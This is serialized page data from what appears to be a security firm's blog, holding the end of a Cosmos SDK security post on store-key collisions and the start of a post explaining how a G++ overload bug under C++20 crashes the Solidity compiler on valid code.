keys\n}\n",[88945],{"type":23,"tag":92,"props":88946,"children":88947},{"__ignoreMap":7},[88948,89010,89058,89094,89134,89141,89148,89160],{"type":23,"tag":134,"props":88949,"children":88950},{"class":136,"line":137},[88951,88955,88960,88964,88969,88973,88977,88981,88985,88989,88993,88997,89001,89006],{"type":23,"tag":134,"props":88952,"children":88953},{"style":151},[88954],{"type":28,"value":75812},{"type":23,"tag":134,"props":88956,"children":88957},{"style":264},[88958],{"type":28,"value":88959}," NewKVStoreKeys",{"type":23,"tag":134,"props":88961,"children":88962},{"style":179},[88963],{"type":28,"value":272},{"type":23,"tag":134,"props":88965,"children":88966},{"style":162},[88967],{"type":28,"value":88968},"names",{"type":23,"tag":134,"props":88970,"children":88971},{"style":168},[88972],{"type":28,"value":24790},{"type":23,"tag":134,"props":88974,"children":88975},{"style":597},[88976],{"type":28,"value":29160},{"type":23,"tag":134,"props":88978,"children":88979},{"style":179},[88980],{"type":28,"value":252},{"type":23,"tag":134,"props":88982,"children":88983},{"style":151},[88984],{"type":28,"value":66611},{"type":23,"tag":134,"props":88986,"children":88987},{"style":179},[88988],{"type":28,"value":924},{"type":23,"tag":134,"props":88990,"children":88991},{"style":597},[88992],{"type":28,"value":29160},{"type":23,"tag":134,"props":88994,"children":88995},{"style":179},[88996],{"type":28,"value":14880},{"type":23,"tag":134,"props":88998,"children":88999},{"style":168},[89000],{"type":28,"value":1777},{"type":23,"tag":134,"props":89002,"children":89003},{"style":597},[89004],{"type":28,"value":89005},"KVStoreKey",{"type":23,"tag":134,"props":89007,"children":89008},{"style":179},[89009],{"type":28,"value":463},{"type":23,"tag":134,"props":89011,"children":89012},{"class":136,"line":147},[89013,89018,89022,89026,89030,89034,89038,89042,89046,89050,89054],{"type":23,"tag":134,"props":89014,"children":89015},{"style":162},[89016],{"type":28,"value":89017},"    keys",{"type":23,"tag":134,"props":89019,"children":89020},{"style":168},[89021],{"type":28,"value":75928},{"type":23,"tag":134,"props":89023,"children":89024},{"style":264},[89025],{"type":28,"value":85076},{"type":23,"tag":134,"props":89027,"children":89028},{"style":179},[89029],{"type":28,"value":272},{"type":23,"tag":134,"props":89031,"children":89032},{"style":151},[89033],{"type":28,"value":66611},{"type":23,"tag":134,"props":89035,"children":89036},{"style":179},[89037],{"type":28,"value":924},{"type":23,"tag":134,"props":89039,"children":89040},{"style":597},[89041],{"type":28,"value":29160},{"type":23,"tag":134,"props":89043,"children":89044},{"style":179},[89045],{"type":28,"value":14880},{"type":23,"tag":134,"props":89047,"children":89048},{"style":168},[89049],{"type":28,"value":1777},{"type":23,"tag":134,"props":89051,"children":89052},{"style":597},[89053],{"type":28,"value":89005},{"type":23,"tag":134,"props":89055,"children":89056},{"style":179},[89057],{"type":28,"value":329},{"type":23,"tag":134,"props":89059,"children":89060},{"class":136,"line":185},[89061,89065,89069,89073,89077,89081,89085,89090],{"type":23,"tag":134,"props":89062,"children":89063},{"style":189},[89064],{"type":28,"value":192},{"type":23,"tag":134,"props":89066,"children":89067},{"style":162},[89068],{"type":28,"value":197},{"type":23,"tag":134,"props":89070,"children":89071},{"style":179},[89072],{"type":28,"value":242},{"type":23,"tag":134,"props":89074,"children":89075},{"style":162},[89076],{"type":28,"value":48003},{"type":23,"tag":134,"props":89078,"children":89079},{"style":168},[89080],{"type":28,"value":75928},{"type":23,"tag":134,"props":89082,"children":89083},{"style":189},[89084],{"type":28,"value":76911},{"type":23,"tag":134,"props":89086,"children":89087},{"style":162},[89088],{"type":28,"value":89089}," names",{"type":23,"tag":134,"props":89091,"children":89092},{"style":179},[89093],{"type":28,"value":463},{"type":23,"tag":134,"props":89095,"children":89096},{"class":136,"line":221},[89097,89101,89105,89109,89113,89117,89122,89126,89130],{"type":23,"tag":134,"props":89098,"children":89099},{"style":162},[89100],{"type":28,"value":24822},{"type":23,"tag":134,"props":89102,"children":89103},{"style":179},[89104],{"type":28,"value":924},{"type":23,"tag":134,"props":89106,"children":89107},{"style":162},[89108],{"type":28,"value":48003},{"type":23,"tag":134,"props":89110,"children":89111},{"style":179},[89112],{"type":28,"value":8121},{"type":23,"tag":134,"props":89114,"children":89115},{"style":168},[89116],{"type":28,"value":257},{"type":23,"tag":134,"props":89118,"children":89119},{"style":264},[89120],{"type":28,"value":89121}," NewKVStoreKey",{"type":23,"tag":134,"props":89123,"children":89124},{"style":179},[89125],{"type":28,"value":272},{"type":23,"tag":134,"props":89127,"children":89128},{"style":162},[89129],{"type":28,"value":48003},{"type":23,"tag":134,"props":89131,"children":89132},{"style":179},[89133],{"type":28,"value":329},{"type":23,"tag":134,"props":89135,"children":89136},{"class":136,"line":332},[89137],{"type":23,"tag":134,"props":89138,"children":89139},{"style":179},[89140],{"type":28,"value":533},{"type":23,"tag":134,"props":89142,"children":89143},{"class":136,"line":438},[89144],{"type":23,"tag":134,"props":89145,"children":89146},{"emptyLinePlaceholder":15},[89147],{"type":28,"value":865},{"type":23,"tag":134,"props":89149,"children":89150},{"class":136,"line":466},[89151,89155],{"type":23,"tag":134,"props":89152,"children":89153},{"style":189},[89154],{"type":28,"value":16461},{"type":23,"tag":134,"props":89156,"children":89157},{"style":162},[89158],{"type":28,"value":89159}," keys\n",{"type":23,"tag":134,"props":89161,"children":89162},{"class":136,"line":479},[89163],{"type":23,"tag":134,"props":89164,"children":89165},{"style":179},[89166],{"type":28,"value":1098},{"type":23,"tag":24,"props":89168,"children":89169},{},[89170,89172,89177,89179,89184,89186,89191],{"type":28,"value":89171},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":23,"tag":92,"props":89173,"children":89175},{"className":89174},[],[89176],{"type":28,"value":77974},{"type":28,"value":89178}," will refuse to run if any ",{"type":23,"tag":92,"props":89180,"children":89182},{"className":89181},[],[89183],{"type":28,"value":84489},{"type":28,"value":89185}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":23,"tag":92,"props":89187,"children":89189},{"className":89188},[],[89190],{"type":28,"value":84489},{"type":28,"value":89192}," level.",{"type":23,"tag":24,"props":89194,"children":89195},{},[89196,89198,89205],{"type":28,"value":89197},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":23,"tag":31,"props":89199,"children":89202},{"href":89200,"rel":89201},"https://github.com/cosmos/cosmos-sdk/issues/12661",[35],[89203],{"type":28,"value":89204},"incorrect iterator behavior",{"type":28,"value":720},{"type":23,"tag":24,"props":89207,"children":89208},{},[89209,89211,89218],{"type":28,"value":89210},"Notably, gradual adoption of the ",{"type":23,"tag":31,"props":89212,"children":89215},{"href":89213,"rel":89214},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[35],[89216],{"type":28,"value":89217},"collections",{"type":28,"value":89219}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":23,"tag":61,"props":89221,"children":89222},{"id":28425},[89223],{"type":28,"value":18423},{"type":23,"tag":24,"props":89225,"children":89226},{},[89227],{"type":28,"value":89228},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":23,"tag":24,"props":89230,"children":89231},{},[89232],{"type":28,"value":89233},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":23,"tag":2575,"props":89235,"children":89236},{},[89237],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":89239},[89240,89241,89244,89247,89250,89253,89256,89259],{"id":28508,"depth":147,"text":28511},{"id":75393,"depth":147,"text":75396,"children":89242},[89243],{"id":76198,"depth":185,"text":76201},{"id":76794,"depth":147,"text":76797,"children":89245},[89246],{"id":77443,"depth":185,"text":76201},{"id":77940,"depth":147,"text":77943,"children":89248},[89249],{"id":79240,"depth":185,"text":76201},{"id":80584,"depth":147,"text":80587,"children":89251},[89252],{"id":81122,"depth":185,"text":76201},{"id":82641,"depth":147,"text":82644,"children":89254},[89255],{"id":83521,"depth":185,"text":76201},{"id":84475,"depth":147,"text":84478,"children":89257},[89258],{"id":88901,"depth":185,"text":76201},{"id":28425,"depth":147,"text":18423},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":89264,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":89265,"description":89266,"author":89267,"image":89268,"date":89270,"tags":89271,"isFeatured":15,"onBlogPage":15,"body":89272,"_type":2586,"_id":91981,"_source":2588,"_file":91982,"_stem":91983,"_extension":2591},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":89269,"height":13091,"width":13091},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[1679,28503],{"type":20,"children":89273,"toc":91965},[89274,89279,89416,89421,89426,89431,89436,89549,89554,89559,89564,89604,89617,89622,89640,89645,89648,89654,89668,89681,89686,89699,89704,89716,89729,89734,89737,89743,89749,89806,89811,89817,89831,89866,89874,89882,89902,89908,89913,90353,90361,90405,90410,90418,90426,90465,90470,90478,90483,90486,90492,90498,90523,90535,90562,90595,90600,90603,90609,90628,91146,91159,91177,91200,91211,91216,91319,91324,91329,91343,91348,91424,91442,91447,91450,91456,91468,91480,91820,91825,91843,91848,91851,91857,91862,91880,91900,91903,91909,91928,91931,91935,91940,91951,91956,91961],{"type":23,"tag":24,"props":89275,"children":89276},{},[89277],{"type":28,"value":89278},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":23,"tag":87,"props":89280,"children":89282},{"code":89281,"language":1679,"meta":7,"className":1680,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[89283],{"type":23,"tag":92,"props":89284,"children":89285},{"__ignoreMap":7},[89286,89294,89312,89319,89336,89378,89402,89409],{"type":23,"tag":134,"props":89287,"children":89288},{"class":136,"line":137},[89289],{"type":23,"tag":134,"props":89290,"children":89291},{"style":141},[89292],{"type":28,"value":89293},"// SPDX-License-Identifier: UNLICENSED\n",{"type":23,"tag":134,"props":89295,"children":89296},{"class":136,"line":147},[89297,89302,89307],{"type":23,"tag":134,"props":89298,"children":89299},{"style":189},[89300],{"type":28,"value":89301},"pragma",{"type":23,"tag":134,"props":89303,"children":89304},{"style":151},[89305],{"type":28,"value":89306}," solidity",{"type":23,"tag":134,"props":89308,"children":89309},{"style":179},[89310],{"type":28,"value":89311}," ^0.8.25;\n",{"type":23,"tag":134,"props":89313,"children":89314},{"class":136,"line":185},[89315],{"type":23,"tag":134,"props":89316,"children":89317},{"emptyLinePlaceholder":15},[89318],{"type":28,"value":865},{"type":23,"tag":134,"props":89320,"children":89321},{"class":136,"line":221},[89322,89327,89332],{"type":23,"tag":134,"props":89323,"children":89324},{"style":151},[89325],{"type":28,"value":89326},"contract",{"type":23,"tag":134,"props":89328,"children":89329},{"style":597},[89330],{"type":28,"value":89331}," A",{"type":23,"tag":134,"props":89333,"children":89334},{"style":179},[89335],{"type":28,"value":463},{"type":23,"tag":134,"props":89337,"children":89338},{"class":136,"line":332},[89339,89344,89349,89353,89357,89362,89366,89370,89374],{"type":23,"tag":134,"props":89340,"children":89341},{"style":151},[89342],{"type":28,"value":89343},"    function",{"type":23,"tag":134,"props":89345,"children":89346},{"style":264},[89347],{"type":28,"value":89348}," a",{"type":23,"tag":134,"props":89350,"children":89351},{"style":179},[89352],{"type":28,"value":13511},{"type":23,"tag":134,"props":89354,"children":89355},{"style":151},[89356],{"type":28,"value":61183},{"type":23,"tag":134,"props":89358,"children":89359},{"style":151},[89360],{"type":28,"value":89361}," pure",{"type":23,"tag":134,"props":89363,"children":89364},{"style":189},[89365],{"type":28,"value":75505},{"type":23,"tag":134,"props":89367,"children":89368},{"style":179},[89369],{"type":28,"value":232},{"type":23,"tag":134,"props":89371,"children":89372},{"style":597},[89373],{"type":28,"value":45672},{"type":23,"tag":134,"props":89375,"children":89376},{"style":179},[89377],{"type":28,"value":14272},{"type":23,"tag":134,"props":89379,"children":89380},{"class":136,"line":438},[89381,89385,89389,89394,89398],{"type":23,"tag":134,"props":89382,"children":89383},{"style":189},[89384],{"type":28,"value":15214},{"type":23,"tag":134,"props":89386,"children":89387},{"style":205},[89388],{"type":28,"value":1729},{"type":23,"tag":134,"props":89390,"children":89391},{"style":168},[89392],{"type":28,"value":89393}," **",{"type":23,"tag":134,"props":89395,"children":89396},{"style":205},[89397],{"type":28,"value":7393},{"type":23,"tag":134,"props":89399,"children":89400},{"style":179},[89401],{"type":28,"value":182},{"type":23,"tag":134,"props":89403,"children":89404},{"class":136,"line":466},[89405],{"type":23,"tag":134,"props":89406,"children":89407},{"style":179},[89408],{"type":28,"value":533},{"type":23,"tag":134,"props":89410,"children":89411},{"class":136,"line":479},[89412],{"type":23,"tag":134,"props":89413,"children":89414},{"style":179},[89415],{"type":28,"value":1098},{"type":23,"tag":24,"props":89417,"children":89418},{},[89419],{"type":28,"value":89420},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":23,"tag":24,"props":89422,"children":89423},{},[89424],{"type":28,"value":89425},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":23,"tag":24,"props":89427,"children":89428},{},[89429],{"type":28,"value":89430},"And yet, it crashes.",{"type":23,"tag":24,"props":89432,"children":89433},{},[89434],{"type":28,"value":89435},"Another minimal example?",{"type":23,"tag":87,"props":89437,"children":89439},{"code":89438,"language":1679,"meta":7,"className":1680,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[89440],{"type":23,"tag":92,"props":89441,"children":89442},{"__ignoreMap":7},[89443,89450,89465,89472,89487,89514,89535,89542],{"type":23,"tag":134,"props":89444,"children":89445},{"class":136,"line":137},[89446],{"type":23,"tag":134,"props":89447,"children":89448},{"style":141},[89449],{"type":28,"value":89293},{"type":23,"tag":134,"props":89451,"children":89452},{"class":136,"line":147},[89453,89457,89461],{"type":23,"tag":134,"props":89454,"children":89455},{"style":189},[89456],{"type":28,"value":89301},{"type":23,"tag":134,"props":89458,"children":89459},{"style":151},[89460],{"type":28,"value":89306},{"type":23,"tag":134,"props":89462,"children":89463},{"style":179},[89464],{"type":28,"value":89311},{"type":23,"tag":134,"props":89466,"children":89467},{"class":136,"line":185},[89468],{"type":23,"tag":134,"props":89469,"children":89470},{"emptyLinePlaceholder":15},[89471],{"type":28,"value":865},{"type":23,"tag":134,"props":89473,"children":89474},{"class":136,"line":221},[89475,89479,89483],{"type":23,"tag":134,"props":89476,"children":89477},{"style":151},[89478],{"type":28,"value":89326},{"type":23,"tag":134,"props":89480,"children":89481},{"style":597},[89482],{"type":28,"value":89331},{"type":23,"tag":134,"props":89484,"children":89485},{"style":179},[89486],{"type":28,"value":463},{"type":23,"tag":134,"props":89488,"children":89489},{"class":136,"line":332},[89490,89494,89498,89502,89506,89510],{"type":23,"tag":134,"props":89491,"children":89492},{"style":151},[89493],{"type":28,"value":89343},{"type":23,"tag":134,"props":89495,"children":89496},{"style":264},[89497],{"type":28,"value":89348},{"type":23,"tag":134,"props":89499,"children":89500},{"style":179},[89501],{"type":28,"value":13511},{"type":23,"tag":134,"props":89503,"children":89504},{"style":151},[89505],{"type":28,"value":61183},{"type":23,"tag":134,"props":89507,"children":89508},{"style":151},[89509],{"type":28,"value":89361},{"type":23,"tag":134,"props":89511,"children":89512},{"style":179},[89513],{"type":28,"value":463},{"type":23,"tag":134,"props":89515,"children":89516},{"class":136,"line":438},[89517,89522,89526,89530],{"type":23,"tag":134,"props":89518,"children":89519},{"style":597},[89520],{"type":28,"value":89521},"        uint256",{"type":23,"tag":134,"props":89523,"children":89524},{"style":179},[89525],{"type":28,"value":924},{"type":23,"tag":134,"props":89527,"children":89528},{"style":205},[89529],{"type":28,"value":1214},{"type":23,"tag":134,"props":89531,"children":89532},{"style":179},[89533],{"type":28,"value":89534},"] data;\n",{"type":23,"tag":134,"props":89536,"children":89537},{"class":136,"line":466},[89538],{"type":23,"tag":134,"props":89539,"children":89540},{"style":179},[89541],{"type":28,"value":533},{"type":23,"tag":134,"props":89543,"children":89544},{"class":136,"line":479},[89545],{"type":23,"tag":134,"props":89546,"children":89547},{"style":179},[89548],{"type":28,"value":1098},{"type":23,"tag":24,"props":89550,"children":89551},{},[89552],{"type":28,"value":89553},"Still crashes.",{"type":23,"tag":24,"props":89555,"children":89556},{},[89557],{"type":28,"value":89558},"So what’s going on?",{"type":23,"tag":24,"props":89560,"children":89561},{},[89562],{"type":28,"value":89563},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":23,"tag":87,"props":89565,"children":89567},{"code":89566,"language":28605,"meta":7,"className":28603,"style":7},"if (*lengthValue == 0) { ... }\n",[89568],{"type":23,"tag":92,"props":89569,"children":89570},{"__ignoreMap":7},[89571],{"type":23,"tag":134,"props":89572,"children":89573},{"class":136,"line":137},[89574,89578,89582,89586,89591,89595,89599],{"type":23,"tag":134,"props":89575,"children":89576},{"style":189},[89577],{"type":28,"value":15049},{"type":23,"tag":134,"props":89579,"children":89580},{"style":179},[89581],{"type":28,"value":232},{"type":23,"tag":134,"props":89583,"children":89584},{"style":168},[89585],{"type":28,"value":1777},{"type":23,"tag":134,"props":89587,"children":89588},{"style":179},[89589],{"type":28,"value":89590},"lengthValue ",{"type":23,"tag":134,"props":89592,"children":89593},{"style":168},[89594],{"type":28,"value":8035},{"type":23,"tag":134,"props":89596,"children":89597},{"style":205},[89598],{"type":28,"value":208},{"type":23,"tag":134,"props":89600,"children":89601},{"style":179},[89602],{"type":28,"value":89603},") { ... }\n",{"type":23,"tag":24,"props":89605,"children":89606},{},[89607,89609,89615],{"type":28,"value":89608},"That single comparison — a ",{"type":23,"tag":92,"props":89610,"children":89612},{"className":89611},[],[89613],{"type":28,"value":89614},"boost::rational",{"type":28,"value":89616}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":23,"tag":24,"props":89618,"children":89619},{},[89620],{"type":28,"value":89621},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":23,"tag":16158,"props":89623,"children":89624},{},[89625,89630,89635],{"type":23,"tag":4894,"props":89626,"children":89627},{},[89628],{"type":28,"value":89629},"A 12-year-old overload resolution bug in G++",{"type":23,"tag":4894,"props":89631,"children":89632},{},[89633],{"type":28,"value":89634},"An outdated symmetric comparison pattern in Boost",{"type":23,"tag":4894,"props":89636,"children":89637},{},[89638],{"type":28,"value":89639},"A subtle but impactful rewrite rule in C++20",{"type":23,"tag":24,"props":89641,"children":89642},{},[89643],{"type":28,"value":89644},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":23,"tag":18268,"props":89646,"children":89647},{},[],{"type":23,"tag":61,"props":89649,"children":89651},{"id":89650},"background-the-setup",[89652],{"type":28,"value":89653},"Background: The Setup",{"type":23,"tag":24,"props":89655,"children":89656},{},[89657,89659,89666],{"type":28,"value":89658},"If you follow the ",{"type":23,"tag":31,"props":89660,"children":89663},{"href":89661,"rel":89662},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[35],[89664],{"type":28,"value":89665},"Solidity build documentation (v0.8.30)",{"type":28,"value":89667},", you'll see it recommends:",{"type":23,"tag":16158,"props":89669,"children":89670},{},[89671,89676],{"type":23,"tag":4894,"props":89672,"children":89673},{},[89674],{"type":28,"value":89675},"Boost ≥ 1.67",{"type":23,"tag":4894,"props":89677,"children":89678},{},[89679],{"type":28,"value":89680},"GCC ≥ 11",{"type":23,"tag":24,"props":89682,"children":89683},{},[89684],{"type":28,"value":89685},"Ubuntu 22.04, for example, ships with:",{"type":23,"tag":16158,"props":89687,"children":89688},{},[89689,89694],{"type":23,"tag":4894,"props":89690,"children":89691},{},[89692],{"type":28,"value":89693},"G++ 11.4.0",{"type":23,"tag":4894,"props":89695,"children":89696},{},[89697],{"type":28,"value":89698},"Boost 1.74.0",{"type":23,"tag":24,"props":89700,"children":89701},{},[89702],{"type":28,"value":89703},"So far, so good.",{"type":23,"tag":24,"props":89705,"children":89706},{},[89707,89709,89714],{"type":28,"value":89708},"However, Solidity enabled ",{"type":23,"tag":2532,"props":89710,"children":89711},{},[89712],{"type":28,"value":89713},"C++20",{"type":28,"value":89715}," in January 2025:",{"type":23,"tag":78,"props":89717,"children":89718},{},[89719],{"type":23,"tag":24,"props":89720,"children":89721},{},[89722],{"type":23,"tag":31,"props":89723,"children":89726},{"href":89724,"rel":89725},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[35],[89727],{"type":28,"value":89728},"Enable C++20 in Solidity",{"type":23,"tag":24,"props":89730,"children":89731},{},[89732],{"type":28,"value":89733},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":23,"tag":18268,"props":89735,"children":89736},{},[],{"type":23,"tag":61,"props":89738,"children":89740},{"id":89739},"part-i-a-12-year-old-g-bug-in-overload-resolution",[89741],{"type":28,"value":89742},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":23,"tag":9072,"props":89744,"children":89746},{"id":89745},"whats-overload-resolution",[89747],{"type":28,"value":89748},"What’s Overload Resolution?",{"type":23,"tag":24,"props":89750,"children":89751},{},[89752,89754,89760,89762,89768,89770,89775,89777,89782,89784,89790,89792,89797,89798,89804],{"type":28,"value":89753},"In C++, when you write an expression like ",{"type":23,"tag":92,"props":89755,"children":89757},{"className":89756},[],[89758],{"type":28,"value":89759},"a == b",{"type":28,"value":89761},", the compiler chooses among available ",{"type":23,"tag":92,"props":89763,"children":89765},{"className":89764},[],[89766],{"type":28,"value":89767},"operator==",{"type":28,"value":89769}," implementations by comparing their ",{"type":23,"tag":2532,"props":89771,"children":89772},{},[89773],{"type":28,"value":89774},"match quality",{"type":28,"value":89776},". A ",{"type":23,"tag":2532,"props":89778,"children":89779},{},[89780],{"type":28,"value":89781},"member function",{"type":28,"value":89783}," like ",{"type":23,"tag":92,"props":89785,"children":89787},{"className":89786},[],[89788],{"type":28,"value":89789},"a.operator==(b)",{"type":28,"value":89791}," usually has higher priority than a ",{"type":23,"tag":2532,"props":89793,"children":89794},{},[89795],{"type":28,"value":89796},"non-member function",{"type":28,"value":89783},{"type":23,"tag":92,"props":89799,"children":89801},{"className":89800},[],[89802],{"type":28,"value":89803},"operator==(a, b)",{"type":28,"value":89805}," — unless the types differ too much or are ambiguous.",{"type":23,"tag":24,"props":89807,"children":89808},{},[89809],{"type":28,"value":89810},"That’s the rule. But G++ didn’t always follow it.",{"type":23,"tag":9072,"props":89812,"children":89814},{"id":89813},"the-bug",[89815],{"type":28,"value":89816},"The Bug",{"type":23,"tag":24,"props":89818,"children":89819},{},[89820,89822,89829],{"type":28,"value":89821},"In 2012, a bug was filed: ",{"type":23,"tag":31,"props":89823,"children":89826},{"href":89824,"rel":89825},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[35],[89827],{"type":28,"value":89828},"GCC Bug 53499 – overload resolution favors non-member function",{"type":28,"value":89830},". The issue? In expressions where:",{"type":23,"tag":16158,"props":89832,"children":89833},{},[89834,89854],{"type":23,"tag":4894,"props":89835,"children":89836},{},[89837,89839,89845,89847,89852],{"type":28,"value":89838},"A class ",{"type":23,"tag":92,"props":89840,"children":89842},{"className":89841},[],[89843],{"type":28,"value":89844},"rational\u003CT>",{"type":28,"value":89846}," has a templated ",{"type":23,"tag":92,"props":89848,"children":89850},{"className":89849},[],[89851],{"type":28,"value":89767},{"type":28,"value":89853}," member function",{"type":23,"tag":4894,"props":89855,"children":89856},{},[89857,89859,89865],{"type":28,"value":89858},"There's also a more generic free ",{"type":23,"tag":92,"props":89860,"children":89862},{"className":89861},[],[89863],{"type":28,"value":89864},"operator==(rational\u003CT>, U)",{"type":28,"value":37712},{"type":23,"tag":24,"props":89867,"children":89868},{},[89869],{"type":23,"tag":2532,"props":89870,"children":89871},{},[89872],{"type":28,"value":89873},"Clang correctly chooses the member function.",{"type":23,"tag":24,"props":89875,"children":89876},{},[89877],{"type":23,"tag":2532,"props":89878,"children":89879},{},[89880],{"type":28,"value":89881},"G++ (before v14) chooses the non-member function.",{"type":23,"tag":24,"props":89883,"children":89884},{},[89885,89887,89892,89894,89901],{"type":28,"value":89886},"Why? Because G++ mishandles ",{"type":23,"tag":2532,"props":89888,"children":89889},{},[89890],{"type":28,"value":89891},"templated conversion + non-exact match",{"type":28,"value":89893},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":23,"tag":31,"props":89895,"children":89898},{"href":89896,"rel":89897},"https://cplusplus.github.io/CWG/issues/532.html",[35],[89899],{"type":28,"value":89900},"CWG532: Member/nonmember operator template partial ordering",{"type":28,"value":720},{"type":23,"tag":9072,"props":89903,"children":89905},{"id":89904},"a-minimal-reproducer",[89906],{"type":28,"value":89907},"A Minimal Reproducer",{"type":23,"tag":24,"props":89909,"children":89910},{},[89911],{"type":28,"value":89912},"Let’s see this in action:",{"type":23,"tag":87,"props":89914,"children":89916},{"code":89915,"language":28605,"meta":7,"className":28603,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[89917],{"type":23,"tag":92,"props":89918,"children":89919},{"__ignoreMap":7},[89920,89933,89940,89965,89981,89989,90013,90058,90086,90101,90108,90115,90122,90158,90227,90252,90267,90274,90281,90297,90322,90346],{"type":23,"tag":134,"props":89921,"children":89922},{"class":136,"line":137},[89923,89928],{"type":23,"tag":134,"props":89924,"children":89925},{"style":189},[89926],{"type":28,"value":89927},"#include",{"type":23,"tag":134,"props":89929,"children":89930},{"style":1461},[89931],{"type":28,"value":89932}," \u003Ciostream>\n",{"type":23,"tag":134,"props":89934,"children":89935},{"class":136,"line":147},[89936],{"type":23,"tag":134,"props":89937,"children":89938},{"emptyLinePlaceholder":15},[89939],{"type":28,"value":865},{"type":23,"tag":134,"props":89941,"children":89942},{"class":136,"line":185},[89943,89947,89951,89956,89961],{"type":23,"tag":134,"props":89944,"children":89945},{"style":151},[89946],{"type":28,"value":65725},{"type":23,"tag":134,"props":89948,"children":89949},{"style":179},[89950],{"type":28,"value":8179},{"type":23,"tag":134,"props":89952,"children":89953},{"style":151},[89954],{"type":28,"value":89955},"typename",{"type":23,"tag":134,"props":89957,"children":89958},{"style":597},[89959],{"type":28,"value":89960}," IntType",{"type":23,"tag":134,"props":89962,"children":89963},{"style":179},[89964],{"type":28,"value":5449},{"type":23,"tag":134,"props":89966,"children":89967},{"class":136,"line":221},[89968,89972,89977],{"type":23,"tag":134,"props":89969,"children":89970},{"style":151},[89971],{"type":28,"value":69920},{"type":23,"tag":134,"props":89973,"children":89974},{"style":597},[89975],{"type":28,"value":89976}," rational",{"type":23,"tag":134,"props":89978,"children":89979},{"style":179},[89980],{"type":28,"value":463},{"type":23,"tag":134,"props":89982,"children":89983},{"class":136,"line":332},[89984],{"type":23,"tag":134,"props":89985,"children":89986},{"style":151},[89987],{"type":28,"value":89988},"public:\n",{"type":23,"tag":134,"props":89990,"children":89991},{"class":136,"line":438},[89992,89997,90001,90005,90009],{"type":23,"tag":134,"props":89993,"children":89994},{"style":151},[89995],{"type":28,"value":89996},"    template",{"type":23,"tag":134,"props":89998,"children":89999},{"style":179},[90000],{"type":28,"value":8179},{"type":23,"tag":134,"props":90002,"children":90003},{"style":151},[90004],{"type":28,"value":69920},{"type":23,"tag":134,"props":90006,"children":90007},{"style":597},[90008],{"type":28,"value":5375},{"type":23,"tag":134,"props":90010,"children":90011},{"style":179},[90012],{"type":28,"value":5449},{"type":23,"tag":134,"props":90014,"children":90015},{"class":136,"line":466},[90016,90020,90025,90030,90034,90038,90042,90046,90050,90054],{"type":23,"tag":134,"props":90017,"children":90018},{"style":151},[90019],{"type":28,"value":45977},{"type":23,"tag":134,"props":90021,"children":90022},{"style":151},[90023],{"type":28,"value":90024}," 